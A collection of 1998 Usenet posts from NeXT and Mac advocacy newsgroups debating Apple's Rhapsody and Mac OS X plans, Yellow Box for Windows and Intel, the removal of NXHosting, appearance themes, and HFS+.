>> Sorry 'bout the rant, but I get so tired of people whining about trivial
>> things like icons.
>
>I don't think the aesthetics of my UI are trivial.
>
Me neither. My point is that all indications are that there will be a great
deal of flexibility in the UI and to point out that Apple has a good
tradition of allowing customization of things like icons. The customization
is what is trivial.
scott
----------------------------------------------------------------
Cyberdog -- yet another cancelled technology from Apple Computer
----------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 23:00:48 -0700
Message-ID: <see-below-1505982300480001@209.24.241.97>
References: <35598540.E4C37882@milestonerdl.com> <3559CE7F.7207302C@milestonerdl.com> <6jcu11$4ng$1@crib.bevc.blacksburg.va.us> <6je2ub$ju9$1@larry.admin.phil.uu.nl> <6jead6$694$1@crib.bevc.blacksburg.va.us> <see-below-1405982235220001@209.24.240.162> <6jhqk4$fqs@bgtnsc02.worldnet.att.net>
In article <6jhqk4$fqs@bgtnsc02.worldnet.att.net>, "Ken Schuller"
<schullersite@NOworldnet.att.net> wrote:
> Finally, I'd like to see OSX on Intel. It would make my day to pick out the
> parts I want at the local PC shop (in compliance with a hardware
> compatibility list, much like the NT people use now), and build a nice,
> stable OSX machine with the ability to run my Mac OS -and- my Windows apps.
> That would be true choice.
Excellent remarks, but I seriously doubt you'll ever see this last one.
Rhapsody, yes, but not with Blue Box or Carbon. Sorry. Apple needs to keep
their PPC hardware sales.
You'll still have to choose between Mac and PC, in the sense of which
backward compatibility you want.
I'm with you on making sure that Windows can run inside Rhapsody for
Intel. I don't know if Apple will pursue this or leave it up to third
parties, but I'm sure somebody will do it.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com>
Message-ID: <od871.624$Fi2.704485@news.rdc1.sdca.home.com>
Date: Sat, 16 May 1998 04:02:28 GMT
NNTP-Posting-Date: Fri, 15 May 1998 21:02:28 PDT
Organization: @Home Network
In <355C6969.6907242B@trilithon.com> Henry McGilton wrote:
> Nathan Urban wrote:
>
> * This is bad. :( What good is having the pretense
> * of a network-aware GUI-based OS without being able
> * to run apps remotely??
>
> Nathan, the lack of NXHosting may be "bad" from a specialised
> viewpoint of some developers and some specialised applications
> such as Mathematica et al. But I don't believe it's "bad"
> in the broader picture of the PC consumer market. Ninety nine
> percent of Mac and PC users wouldn't knonw remote hosting if
> it bit them on the leg, wouldn't understand it if you explained
> it to them, and wouldn't know what to do with it even then.
>
> From the viewpoint of hardware and software sales, NXHosting
> won't have any effect. Bit of a drag for those who *really*
> need the feature. I'm sure that somebody will come up with
> some clever way to obtain the effect. As for me, I'm not
> concerned that the lack of NXHosting will drive Apple out
> of business.
>
>
Quite frankly as an Investor and ex-Developer for NeXT, NXHosting is Apple's
strategic weapon in the Java networked client game, without which Apple is
stuck without market differentiation. It certainly will drive Apple further
away from the mainstream of networked sales. A significant portion of Apple's
promised future is Java centric. Without a better NxHost, they are working
into tighter and tighter niches.
The street seems to agree with me as Apple's 52 week high on Monday has
retreated below 30 and will probably settle around 27.50 shortly.
-r
BTW: I agree with each and everyone of your points and hope that this is one
of their technologies they are able to repackage, losing all its GEEK
appeal...
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: Fri, 15 May 1998 23:04:45 -0700
Message-ID: <see-below-1505982304450001@209.24.241.97>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at> <see-below-1405980105050001@209.24.241.190> <6jf0bk$3d2$2@diana.bcn.ibernet.es> <6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es> <6ji5gv$n8h$3@msunews.cl.msu.edu>
In article <6ji5gv$n8h$3@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> I just checked Scott Anguish's pages again. I'm wrong there was no
> Rhapsody
> for Intel at WWDC.
>
> I apologize for the misleading information and hereby rectify it.
>
> http://www.stepwise.com/SpecialCoverage/WWDC98/Sunday.html
>
> I also agree I don't understand why Intel would be pushed back a bit.
> Perhaps they wanted to finish doing some tuning for Intel?? :) I
> think
> they are working hard on the PPC code and then folding in to the Intel
> version. Which makes sense for them.. It would have been nice to
> have both at the same time. I darn well hope they get this right
> for CR1!
I think the original situation may have been reversed by now. While the
Intel version clearly had an early advantage in being descended from
OpenStep on Intel, I think Apple may have been putting so much effort into
Rhapsody/PPC, and added or changed so many things, that there no longer is
anything on the Intel version that's "ahead" of the PPC version, exactly
as you say.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 1998 01:57:16 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj9rs$c38$1@crib.bevc.blacksburg.va.us>
References: <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <B1829E08-42F7B@208.254.112.74>
In article <B1829E08-42F7B@208.254.112.74>, "scott hand" <vidahand@mail.doh!.earthlink.net> wrote:
> >> An object oriented appearance API should
> >> make third party appearances trivial and plentiful,
> >Okay, I'd like to see them announce one. I figure they probably will,
> >though.
> OK, it's an assumption, but I'm assuming that since they have "Appearances"
> on Rhapsody
Which are not nearly as flexible as Themes in MacOS.
> that the API in question does exist.
For all we know, they could have just implemented a giant switch()
statement in -drawRect:, if(MACOS) else if(WINDOWS) else if(NEXT)..
maybe not that ugly, but I've seen no evidence of a clean appearances
API other than "use this dwrite and this `theme' will be enabled"..
no mechanism for adding new `themes' to existing widgets.
It would be interesting to have Apple provide a nice OOP scheme for
overriding -drawRect: for all AppKit widgets without subclassing..
(guess you could always to poseAs:, but that's not really a good solution
just for appearances).
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: 16 May 1998 02:00:33 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jja21$c3q$1@crib.bevc.blacksburg.va.us>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es> <6ji5gv$n8h$3@msunews.cl.msu.edu>
In article <6ji5gv$n8h$3@msunews.cl.msu.edu>, spammers@ruin.the.internet.channelu.com wrote:
> I also agree I don't understand why Intel would be pushed back a bit.
> Perhaps they wanted to finish doing some tuning for Intel?? :) I
> think they are working hard on the PPC code and then folding in to the Intel
> version. Which makes sense for them..
Yeah. Regardless of Intel's importance to them, there is no question
that PPC is the _more_ important of the two. And doing QA on two
architectures at once is time-consuming. They may just be doing all
their testing on PPC and then doing the Intel testing later once they've
got the main problems worked out.
From: "scott hand" <vidahand@mail.doh!.earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 98 23:53:59 -0400
Organization: EarthLink Network, Inc.
Message-ID: <B1828620-F829A@208.254.112.129>
References: <6jiaqk$6sf$4@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
On Fri, May 15, 1998 5:07 PM, Don Yacktman <mailto:don@misckit.com> wrote:
>nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
>> In article <6jhvgs$6sf$1@news.xmission.com>, don@misckit.com wrote:
>> > With the themes/appearance manager stuff, I get the impression that
there
>> > will be lots of room for customization of the look.
>>
>> Has Apple annouced that the themes and appearance stuff will apply to
>> Yellow apps and have a Yellow API? (Seems plausible though, since
>> otherwise if you changed themes only some of your apps would change
>> their appearances.)
>
>I'm not sure if it is announced anywhere, and I haven't time to track it
down
>if it does exist.
>
The article this thread refers to has a picture of the appearance prefs
panel which shows the "style" as a selection (Apple Dark Platinum in the
picture). What more do you need? An object oriented appearance API should
make third party appearances trivial and plentiful, just look at the
success of kaleidoscope on the mac. Icons are already very easily
modified/replaced on the mac on an individual basis. Don't like Trash?
Trash it and replace with Recycle or a tiny porpoise- whatever. It seems
that almost everything functional about the OS UI has been kept in
Rhapsody. You can even minimize instead of windowshade (and what's so
horrible about windowshade anyway? No, don't answer that!).
I realize that some people really like leftside scroll bars, but it just
makes me wonder what's on the Options tab. Malcolm must know, hell, a bunch
of you guys must know by now- what's the scoop?
Sorry 'bout the rant, but I get so tired of people whining about trivial
things like icons.
*whew*
scott
----------------------------------------------------------------
Cyberdog -- yet another cancelled technology from Apple Computer
----------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:19:10 -0700
Message-ID: <see-below-1505982119100001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162> <ericb-1505981818400001@132.236.171.104>
In article <ericb-1505981818400001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <see-below-1405982034460001@209.24.240.162>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
>
> > > Yeah, right. This "adding a new feature set" excuse is the same BS we got
> > > when they replaced Copland with Rhapsody. "We're killing our old
> > > modernized OS but we'll give you something even better!"
> >
> > But they didn't kill it. First of all, Rhapsody CR1 is still due _this_
> > September, only a bit late, and with all the promised features. That's
> > _everything_ that was promised before! Apple never implied they would be
> > shipping anything more than that!
>
> Rhapsody/Intel is missing from the picture.
>
>
> > It's only the version that's better than anything they promised before
> > that's being shipped in 16 months. What they previously promised is still
> > slated to ship in 4 months (both MacOS 8.5 and Rhapsody CR1).
>
> Both of which are late, the latter significantly so (although not by
> Microsoft standards).
>
> > > The original plan, as I recall it, was that Rhapsody (and YB with
> > > cross-platform compatibility) would become Apple's mainstream OS.
> >
> > While it was implied that this might eventually happen, most of it was
> > overenthusiastic reading between the lines. From the very beginning, Gil
> > Amelio, Steve Jobs, and many others at Apple have gone to great pains to
> > communicate that Rhapsody would _not_ be their main consumer OS before the
> > end of the century.
>
> I contend that there is a lot of overenthusiastic reading between the
> lines going on today. The people doing that reading think Rhapsody/Intel
> and YB/Windows are not dead.
I think there's a big difference. Believing that Rhapsody would be ready
for consumer use in no time flat was simply asking the impossible, and
went against every indication from Apple and other informed sources. Not
only did Apple officially announce from the beginning that it wouldn't be
a consumer OS, they also dropped hints to that effect through various
channels. In fact, Rhapsody (as distinct from OS X) _still_ won't be a
consumer OS...
Assuming that Apple will deliver Yellow Box for Windows and indeed
Rhapsody for Intel is just logical thinking and good strategy. And this
time, it is something they have actually not only hinted at numerous
times, but actually announced their commitment to on a number of
occasions.
If Apple doesn't have a cross-platform strategy, then why are they
spending so much on QuickTime for Windows? Why are they spending so much
time integrating Java into Rhapsody? Why are they spending so much on
improving Yellow Box?
The cross-platform picture is _integral_ to Apple's long term plans.
Having Yellow Box for Windows is critical to it succeeding. If Apple
doesn't intend to offer it for Intel, and is giving Mac developers every
reason to not switch to YB anytime soon, then the smart thing would be to
cancel all that expensive Yellow Box (and QuickTime and Java) development
right now as a waste of time, and I doubt Apple would hesitate to do so,
given their other moves over the past year.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 16 May 1998 00:11:12 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj3l0$br2$1@crib.bevc.blacksburg.va.us>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us> <rex-1505982331080001@192.168.0.3>
In article <rex-1505982331080001@192.168.0.3>, rex@smallandmighty.com (Eric King) wrote:
> In article <6jgsb2$934$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> :But won't this degrade refresh performance? The nice thing about
> :having buffering done in the window server was that it could redraw
> :things itself.
> Nothing in the current scheme prevents that. All they have to do is map
> the offscreen buffer into both the window server's and the application's
> address spaces.
Yeah, I overlooked that. Still, the original poster implied that the app
would be doing all the redrawing itself.
> : If the refresh drawing is done by the app, then if you
> :do something like drag a window across the screen, you're constantly
> :at a minimum doing a context switch to _each_ app that gets occluded
> :or exposed, as well as paging in some of each app.
> I just don't think that's going to be that big of a deal. If it is,
> then OpenStep needs to rework it's internals, because this sort of stuff
> works fine on the BeOS. You could also quit apps that you're not using...
Heaven forfend, that's not the NEXTSTEP way. :)
> : I'm told that this
> :is what's largely responsible for the bad "window tearing" you get when
> :live-dragging a window around the screen on Windows NT; OPENSTEP doesn't
> :suffer from that problem.
> What's largely responsible is poor MS code and design.
Okay, I can buy that too. :)
> :I thought it was fast enough already. :-/ Weren't there also supposed
> :to be speed advantages in an SMP system to giving most of a CPU to the
> :window server?
> I think that's a myth. Have you ever tested it out?
No, of course not. NEXTSTEP isn't SMP.
If I recall correctly, Mike Paquette himself said it; I guess he would
know, and he probably _has_ tried it out.
> The fundamental
> problem is that in general your scheme is a *lousy* way to distribute the
> computational load. [...] Your method just scales
> *abysmally* Even on a dual processor system you're just not using the
> available resources effectively.
Have _you_ tried it?
> : Is this going to speed up single-CPU graphics performance
> :but slow it down on SMP systems?
> Chances are it's going to make things more responsive all around.
Okay, I'll take your word for it, unless Mike or someone says otherwise.
> :If Mike Paquette is reading this, I'd like to hear some reassurment that
> :all of this is a Good Thing. It doesn't sound worth it to me.
> Well, I don't think Apple had much of a choice.
Yeah. :-/ I think that the changes are probably all for the better,
or at least acceptable, except for killing NSHosting.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Fri, 15 May 1998 22:51:25 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355CB8D9.2D50@earthlink.net>
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net> <6jj834$bvb$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan Urban wrote:
> In article <355CA9E5.44F6@earthlink.net>, skellener@earthlink.net wrote:
>
> > When you tear off a menu, will the menubar go away?
>
> You mean the whole menu bar? Why should it? How could you get to
> higher level menus?
>
> I would like to know if you can make the entire top-level menu bar
> vertical..
That's what I was trying to get at Nathan,
Steve
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 23:21:32 -0700
Message-ID: <see-below-1505982321320001@209.24.241.97>
References: <6ji1qc$1cc$47@ironhorse.plsys.co.uk> <B18232C5-B6F87@206.165.43.10>
In article <B18232C5-B6F87@206.165.43.10>, "Lawson English"
<english@primenet.com> wrote:
> But what does it offer Mac users over GX?
Quite possibly nothing, but really Lawson, get over it. GX IS DEAD AND
IT'S NEVER COMING BACK.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: Fri, 15 May 1998 23:23:22 -0700
Message-ID: <see-below-1505982323220001@209.24.241.97>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com>
In article <6ji9ht$dtq$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy John Kheit <jkheit@xtdl.com> wrote:
> : I just wanted to say Kudos to Scott for his just unbelievable
> : coverage of the conference. I've *never* read coverage this good
> : before.
>
> Scott SMOKED the rest of the reporters out there.
>
> RestOfMacMedia.emulateCluefulReporter(scott));
Hear hear!
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:31:51 -0700
Message-ID: <see-below-1505982131520001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <see-below-1305982038310001@209.24.241.190> <355C846C.1C4327A0@spamtoNull.com> <eviltofu-1505981905420001@viking202-50.dhcp.csuohio.edu>
In article <eviltofu-1505981905420001@viking202-50.dhcp.csuohio.edu>,
eviltofu@rocketmail.com (Jerome Chan) wrote:
> In article <355C846C.1C4327A0@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > Matthew Vaughan wrote:
> >
> > >
> > > How can it be "late" when this is the first time Apple ever gave any
> > > indication such a thing might ever exist?
> > >
> >
> >
> > Will you guys puh-leas-s-s-se make up your minds? Please?....:) With a
> > cracker on top?
> >
> > You say "Mac OS 10" is Rhapsody renamed. If it is, then it's 18 moths
> > late (if it's released in Q3 1999.)
>
> It's late. It Rhapsody CR1 will be released in Summer/Fall 98. Then the
> next release will be MacOS X.
Yes, but CR1 is more like the "Unified" release, not "Premiere" if I
remember what those were initially supposed to be. For one thing, I don't
think Premiere was supposed to have the Blue Box.
So Apple _skipped_ the Premiere release, instead releasing another
developer version. The Unified release is CR1, and will be roughly on
time.
OS X is something entirely new, containing many features never indicated
before, and hence can't be construed as being "late."
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:28:01 -0700
Message-ID: <see-below-1505982128010001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <ericb-1505981845030001@132.236.171.104>
In article <ericb-1505981845030001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
>
> > Really, what you are saying is that this entire Mac OS 10 thing is no
> > more than a publicity stunt desinged to hide the fact that Rhapsody as a
> > consumer OS is almost two years late.
>
> That's a fair way of putting it.
Not at all. Apple made it very clear on quite a few occasions, starting
from the initial announcemet of Rhapsody, that it _would not_ be a
consumer OS before the turn of the century.
So there's no way to construe Rhapsody as being "late" as a consumer OS,
since it was never promised, advertised, hinted, or otherwise implied that
it might be such.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 23:29:08 -0700
Message-ID: <see-below-1505982329080001@209.24.241.97>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <rex-1405981953440001@192.168.0.3> <rmcassid-1405982336130001@dialin9022.slip.uci.edu>
In article <rmcassid-1405982336130001@dialin9022.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <rex-1405981953440001@192.168.0.3>, rex@smallandmighty.com
> (Eric King) wrote:
>
> > In article <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> >
> > :Yellow will infiltrate the Mac market from the bottom up.
> >
> > Damn that sounds suspiciously similar to what folks were saying about
> > GX, OpenDOC, Powertalk, etc. The problem with coming from the bottom up,
> > is that Apple usually craps on the folks at the bottom at the behest of
> > the folks on the top.
>
> There's one big difference though, Eric. YellowBox, unlike GX, OpenDoc,
> and Powertalk doesn't suffer from a terrible implementation. GX was
> elegant but packaged horribly. OpenDoc was a great idea, but a rotten
> implementation. And Powertalk had some nice ideas, but otherwise sucked
> all around (notice the Keychain API presentations at WWDC, though? A good
> idea brought back from the grave...)
>
> Now it could easily be argued that Rhapsody, like GX suffered from rottent
> packaging, and you'd be right. That's why we have to adjust to MacOS X.
> Better packaging.
>
> Let me ask you: Had GX not forced a new print driver architecture on
> everyone and been somewhat more resource friendly, don't you think it
> would have gotten much better developer support?
In addition, Yellow Box has one more compelling advantage: it's a
cross-platform solution. Not only does that mean it's an option for Mac
developers who want to target Windows, but it's also going to get a
certain amount of attention from Intel developers. Even if that's only a
tiny fraction of the Intel market, I expect that will roughly double the
number of developers using it.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 10:26:57 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1505981026570001@dante.eng.uci.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <rmcassid-1305981217110001@dante.eng.uci.edu> <355B0318.2D119336@milestonerdl.com> <rmcassid-1405981158500001@dante.eng.uci.edu> <355C49C2.8D4B8434@milestonerdl.com>
In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
>Robert Cassidy wrote:
>
>> You know, Mark. REGARDLESS of what Apple says publicly, they could be
>> prepping for a bait and switch.
>
>Damn straigh. But to say Apple has a future in a long-term
cross-platform plan,
>flies in the face of reality.
By your thinking, regardless of what is said or not said publicly, they
don't really have a future in a long-term corss-platform plan because they
can change their mind later. You want a guarantee, and it doesn't exist
anywhere in this industry. MS can't even guarantee that Win98 will ship
right now!
You, my boy, fly in the face of reality.
>> So can Intel, Microsoft, IBM, the guy on
>> your left and the gal on your right. Don't belive any of them. Don't let
>> your guard down for a second.
>
>And, even if Apple DOES announce NT5.x/98 support, they could back
out/not offer it.
And the birds could stop singing and the seas turn to tapioca. Have you
considered trying a religion? Or maybe a low-dosage antipsychotic?
>> In fact, go get yourself some *really* heavy
>> duty tin-foil and wrap it around your head. It keeps the reality
>> distortion field out.
>
>It's better than claiming Apple has a long-term cross-platform plan.
Even when they do. The fact of the matter is that a 12 month strategy *is*
a long term strategy in this industry. I think it's better for all of us
not to expect *any* company to be in a given place say 3 years from now,
because you are guaranteed to be disappointed. As for YB on NT 5. Since MS
isn't saying when it will ship (gee, do *they* have a long term plan?) I
doubt Apple can say if they can support it until they have a later beta of
it, no?
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:36:07 -0700
Message-ID: <see-below-1505982136080001@209.24.241.97>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk> <see-below-1505980333080001@209.24.240.3> <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no>
In article <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no>,
andre_tomt@cyberdude.com (Andre Tomt) wrote:
> Matthew Vaughan <see-below@not-my-address.com> wrote:
>
> > Are you talking about only CR1, or about later releases (ie, same time as
> > OS 10)? In other words, did they say any more about continuing
> > Rhapsody/PPC (server) releases, and how/when/if it will merge into OS 10?
>
> Go to <http://applewwdc98.isocket.com/theater.html>. All speeches is in
> QT format. But they ar LARGE an u should have a fat net connection and
> lotsa spare time if u plan to watch them ;)
>
> They clarify lotsa rumors and lies about the death of Raphsody etc.
>
> (Raphsody is NOT dead, it will continue as a server os, and YellowBox
> developer tools will be intregated in to MacOS 10)
That's what I suspected. With a 33.6 modem I don't feel like downloading
any videos, but I'll take your word for it. Thanks for the clarification.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:34:49 -0700
Message-ID: <see-below-1505982134490001@209.24.241.97>
References: <ericb-1105981718430001@132.236.171.104> <6jib4k$nu6$1@larry.admin.phil.uu.nl> <6jies9$bbm$1@crib.bevc.blacksburg.va.us> <355CCDEC.BB17EB97@milestonerdl.com> <6jiob6$bj0$1@crib.bevc.blacksburg.va.us>
In article <6jiob6$bj0$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <355CCDEC.BB17EB97@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Nathan Urban wrote:
>
> > > (Incidentally, why is HFS+ over UFS a bad idea? I don't know much about
> > > the former.)
>
> > As I remember, UFS has speed and no fragmentation (to speak of) problems.
> > I don't believe Speed or little fragmentation are words that normally
> > describe HFS.
>
> Yeah, but that's HFS. HFS+ is supposed to solve a number of problems
> with HFS. I don't know if speed or fragmentation are among them.
HFS+ is basically a 64-bit version of HFS, as I understand it. I don't
know what other changes there are. HFS has been held back in performance
by the file system being emulated 68k code... This should change in the
8.5 release this summer. I don't know about fragmentation issues, though.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 00:27:31 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jj4jj$bs3$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jhodi$ckf@papoose.quick.com> <6jhv7a$aph$1@crib.bevc.blacksburg.va.us> <see-below-1505982056500001@209.24.241.97>
In article <see-below-1505982056500001@209.24.241.97>, see-below@not-my-address.com (Matthew Vaughan) wrote:
> [reasons why YB/Windows will be supported, and why YB is not a
> "potential GX or OpenDoc slaying candidate"]
Excellent points.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 16 May 1998 06:28:24 GMT
Organization: MiscKit Development
Message-ID: <6jjbm8$4tk$1@news.xmission.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30> <6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net> <355CC6E3.F30A0812@nstar.net> <6jij29$dq6$5@news.seicom.net> <6jj8it$5t4$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Frank M. Siegert <frank@this.NO_SPAM.net> wrote:
>
> : True, but NXHost'ing over a slow line can be quite challenging too
>
> FYI, I NXHost apps on my remote web server over a 128Kb ISDN line. It
> works just fine--it's only a little slow.
Be honest here Kris: the machine you're hosting from is a 25MHz slab with
Apache beating it to death (www.planetary.net is reasonably popular), so it's
just as likely as not that the machine is what is slow, and not NXHosting.
:-)
What's cool is that you can NXHost from that slab to a Win NT box...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
